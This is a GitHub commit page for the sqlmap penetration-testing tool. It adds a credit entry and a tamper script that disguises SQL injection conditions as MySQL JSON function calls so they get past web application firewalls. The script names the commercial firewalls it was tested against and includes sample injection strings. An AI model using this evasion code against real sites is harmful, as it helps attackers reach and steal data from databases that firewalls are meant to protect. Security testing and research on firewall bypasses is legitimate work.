Skip to content

Commit 12e3ed1

Browse files
authored
JSON WAF bypass tamper scripts (#5260)
* added JSON waf bypass techniques * added a link for WAF evasion technique blog * Added generic JSON WAF bypass
1 parent dd4010f commit 12e3ed1

File tree

4 files changed

+581
-0
lines changed

4 files changed

+581
-0
lines changed

doc/THANKS.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -789,6 +789,9 @@ x, <deep_freeze(at)mail.ru>
789789
zhouhx, <zhouhx(at)knownsec.com>
790790
* for contributing a minor patch
791791

792+
Noam Moshe Claroty Team82
793+
* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py
794+
792795
# Organizations
793796

794797
Black Hat team, <info(at)blackhat.com>

tamper/json_waf_bypass_mysql.py

Lines changed: 163 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,163 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
5+
See the file 'LICENSE' for copying permission
6+
"""
7+
8+
# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison.
9+
pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
10+
import re, random, string
11+
12+
from lib.core.enums import PRIORITY
13+
14+
__priority__ = PRIORITY.HIGHEST
15+
16+
def dependencies():
17+
pass
18+
19+
20+
21+
# Possible int payloads:
22+
# 1) JSON_LENGTH()
23+
# 2) json_depth
24+
# 3) JSON_EXTRACT()
25+
26+
def generate_int_payload():
27+
INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
28+
return (random.choice(INT_FUNCTIONS))()
29+
30+
31+
# Possible STR payloads:
32+
# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
33+
# 2) JSON_EXTRACT
34+
# 3) JSON_QUOTE('null')
35+
36+
def generate_str_payload():
37+
print("generate_str_payload")
38+
STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
39+
return (random.choice(STR_FUNCTIONS))()
40+
return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
41+
42+
43+
def generate_random_string(length=15):
44+
str_length = random.randint(1,length)
45+
return "".join(random.choice(string.ascii_letters) for i in range(str_length))
46+
47+
def generate_random_int():
48+
return random.randint(2, 10000)
49+
50+
51+
def generate_length_payload():
52+
return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
53+
54+
55+
def generate_depth_paylod():
56+
return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
57+
58+
59+
def generate_quote_payload():
60+
var = generate_random_string()
61+
return f"JSON_QUOTE('{var}') = '\"{var}\"'"
62+
63+
64+
def generate_int_extract_payload():
65+
return generate_extract_payload(isString=False)
66+
67+
68+
def generate_str_extract_payload():
69+
return generate_extract_payload(isString=True)
70+
71+
72+
def generate_extract_payload(isString=False):
73+
key = generate_random_string()
74+
if isString:
75+
value = generate_random_string()
76+
return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
77+
value = generate_random_int()
78+
return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
79+
80+
81+
def generate_payload(isString, isBrackets):
82+
payload = '(' if isBrackets else ""
83+
if isString:
84+
payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
85+
else:
86+
payload += generate_int_payload()
87+
88+
return payload
89+
90+
91+
def generate_random_payload():
92+
if random.randint(0,1):
93+
return generate_str_payload()
94+
return generate_int_payload()
95+
96+
def tamper(payload, **kwargs):
97+
"""
98+
99+
Bypasses generic WAFs using JSON SQL Syntax.
100+
For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
101+
102+
Tested against:
103+
* MySQL v8.0 - however every version after v5.7.8 should work
104+
105+
Usage:
106+
python3 sqlmap.py <TARGET> --tamper json_waf_bypass_mysql.py
107+
108+
Notes:
109+
* References:
110+
* https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
111+
* https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
112+
* Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
113+
* JSON techniques were tested againts the following WAF vendors:
114+
* Amazon AWS ELB
115+
* CloudFlare
116+
* F5 BIG-IP
117+
* Palo-Alto Next Generation Firewall
118+
* Imperva Firewall
119+
120+
* This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
121+
depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
122+
123+
Possible int payloads:
124+
1) JSON_LENGTH()
125+
2) json_depth
126+
3) JSON_EXTRACT()
127+
128+
Possible STR payloads:
129+
1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
130+
2) JSON_EXTRACT
131+
3) JSON_QUOTE('null')
132+
133+
>>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
134+
''' ' and 5626=9709 and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
135+
>>> tamper('and 4515=8950--')
136+
''' and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
137+
"""
138+
139+
payload = payload.replace(r'%20', " ")
140+
#
141+
retVal = payload
142+
143+
if payload:
144+
match = re.search(pattern, payload)
145+
146+
if match:
147+
pre = match.group('pre')
148+
149+
# Is our payload is a string.
150+
isString = pre.startswith("'")
151+
isBrackets = pre.startswith("')") or pre.startswith(")")
152+
wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
153+
retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
154+
155+
else:
156+
157+
if payload.lower().startswith("' union"):
158+
wafPayload = generate_random_payload()
159+
160+
retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
161+
162+
return retVal
163+

0 commit comments

Comments
 (0)